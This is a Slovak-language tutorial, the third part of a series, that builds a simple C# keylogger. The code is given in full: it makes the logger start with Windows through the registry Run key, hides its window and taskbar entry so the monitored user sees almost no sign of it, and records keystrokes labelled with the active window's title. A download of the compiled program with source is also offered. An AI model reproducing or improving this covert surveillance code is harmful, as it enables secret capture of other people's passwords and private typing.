Jednoduchý keyloggery v C # 3: Spustenie po štarte PC
V minulom dieli sme sprevádzkovali jednoduchý keylogger. Dnes ho vylepšíme o možnosť spustenia po štarte Windows.
Určite je to krásne, keď sa nám keylogger spúšťa sám pri štarte Windows. Keď monitorovaný PC nejaví takmer žiadnu známku o tom, že je monitorovaný. A otravný užívateľ, čo nemá na PC nič robiť je chytený pri čine. A preto sa na to poďme pozrieť Vytvoríme si jednoduchú triedu Register.
using System; using System.Collections.Generic; using System.Linq; using System.Text; using Microsoft.Win32; using System.Windows.Forms; namespace KeyLogger { class Register { static RegistryKey rkApp = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); /// <summary> /// Nastaví/odstraní spouštění po startu /// </summary> /// <param name="run">Hodnota zda se má spouštět, či nikoli</param> public static void SetOnStartup(bool run) { if (run == true) rkApp.SetValue(Application.ProductName, Application.ExecutablePath.ToString() + " -h"); else rkApp.DeleteValue(Application.ProductName, false); } /// <summary> /// Zjistí, zda je program nastaven po spuštění. Pokud ano a změnila se cesta, tak ji aktualizuje. /// </summary> /// <returns></returns> public static bool IsOnStartup() { if (rkApp.GetValue(Application.ProductName) == null) return false; if (!System.IO.File.Exists(rkApp.GetValue(Application.ProductName).ToString())) rkApp.SetValue(Application.ProductName, Application.ExecutablePath.ToString()); return true; } } }
A teraz použitia. Pridajme na formulár ešte jeden checkbox a nazvime ho "chbStartWithWindows", môžeme ho nadpísať "spustí pri štarte Windows?" Ďalej si vytvorme metódu s názvom "CheckStartProgram"
// Kontrola, zda se má program spustit po startu, pakliže ano, spustím i logování private void CheckStartProgram() { if (chbStartWithWindows.Checked == true) { Register.SetOnStartup(chbStartWithWindows.Checked); chbCheckRules.Checked = true; // zaháčkuji okno s pravidly StartKeyLogger(); // volání metody pro spuštění this.Hide(); this.ShowInTaskbar = false; } else { Register.SetOnStartup(chbStartWithWindows.Checked); } }
Možno ste sa všimli, ale volám tu metódu pre odštartovanie keyloggerov. Áno, vytvoril som z obsahu tlačidlá btnStart metódu, aby som nemusel jeho kód písať 2x. Kód tlačidla vyzerá takto:
private void btnStart_Click(object sender, EventArgs e) { StartKeyLogger(); }
A motoda pre štart keylogger vyzerá teda nasledovne:
private void StartKeyLogger() { this.Text = "KeyLogger 1.5 - Zapnut"; // nadepíšu toto hlavní okno btnStop.Enabled = true; // povolím tlačítko pro vypnutí KeyLoggeru btnStart.Enabled = false; // zakážu tlačítko pro spuštění KeyLoggeru tCheckKey.Enabled = true; // zapnu timer pro snímání kláves tCheckHide.Enabled = true; // zapnut timer umožňující skrývání tClearField.Enabled = true; // zapnu timer pro mazání okna }
Teraz si upravíme udalosť Form1_Load, ktorá nastáva pri vytvorení formulára. Potrebujeme aby sa pri vytvorení zapol keyloggerov, ak je zaháčkovaný, že sa má zapnúť pri štarte.
private void Form1_Load(object sender, EventArgs e) { /* Pokud tedy je zaháčkovaný checkBox po spuštění, metoda zapne keyLogger rovnou skrytě. * Pokud není zaháčkovaný, keyLogger se spustí, jako kdyby se spustil poprvé. */ CheckStartProgram(); // voláme metodu, pro zjistění stavu spuštění. }
Teraz je potrebné zabezpečiť, aby sa nastavilo spustenie pri štarte. Urobíme to v metóde CheckedChanged nášho chbStartWithWindows. Kód vyzerá takto:
private void chbStartWithWindows_CheckedChanged(object sender, EventArgs e) { Register.SetOnStartup(chbStartWithWindows.Checked); }
Teraz nám chýba už len zabezpečiť, aby pri spustení programu sa zistilo a tým pádom aj zaháčkovalo (odháčkovalo), či má byť program spustený po štarte Winodows. To môžeme urobiť v public Form1. Teda upravíme to na toto:
public Form1() { InitializeComponent(); chbStartWithWindows.Checked = Register.IsOnStartup(); // nastavíme checkBox podle toho, existence registru na spuštění keyLoggeru po startu windows }
To by malo byť na nastavenie možnosti po spustení Windows asi všetko
Teraz už len prehľadnosť a máte pekný keyloggerov
Pre sprehľadnenie logu je potrebné vytvoriť ďalšiu triedu. Nazvime ju ActiveWindow. Ako je už z názvu zrejmé, budeme zisťovať, ktoré okno je aktívny. Trieda bude vpády takto:
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Runtime.InteropServices; namespace KeyLogger { public static class ActiveWindow { [DllImport("user32.dll")] static extern IntPtr GetForegroundWindow(); [DllImport("user32.dll")] static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count); public static string GetTitle() // metoda, která nám vrací název okna { const int nChars = 256; // maximální délka názvu IntPtr handle = IntPtr.Zero; StringBuilder title = new StringBuilder(nChars); handle = GetForegroundWindow(); if (GetWindowText(handle, title, nChars) > 0) return title.ToString(); return ""; } } }
Teraz už len použitie. Použitie tohto nám upraví kód timeru tCheckKey Nezabudnite vytvoriť premennú sActiveWindowOld!
string sActiveWindowOld = ""; private void tCheckKey_Tick(object sender, EventArgs e) { string activeWindow = ActiveWindow.GetTitle(); if (activeWindow != sActiveWindowOld) // pokud je aktivní okno jiné, než okno, které bylo aktivní předtím, if (activeWindow != "") // a součas jeho název není prázdný tbLog.Text += "\r\n" + activeWindow + ": "; // Vytvořím nový záznam do TB o novém okně tbLog.Text += Key.GetBuffKeys(); // Přidám stiklou klávesu tbLog.Text = Key.ReplaceChars(tbLog.Text); // Pozměním nějaké znaky, jako "space" za " " a pod sActiveWindowOld = activeWindow; // Nastavím do starého okna nové okno }
Táááák, to by malo byť absolútne všetko k veľmi jednoduchému keyloggerov. Snáď to funguje ako má. Keyloggery můžeze ľubovoľne vylepšovať, rád uvítam vaše názory na vylepšenie a podobne
Stiahnuť
Stiahnutím nasledujúceho súboru súhlasíš s licenčnými podmienkami
Stiahnuté 1248x (80.68 kB)
Aplikácia je vrátane zdrojových kódov v jazyku C#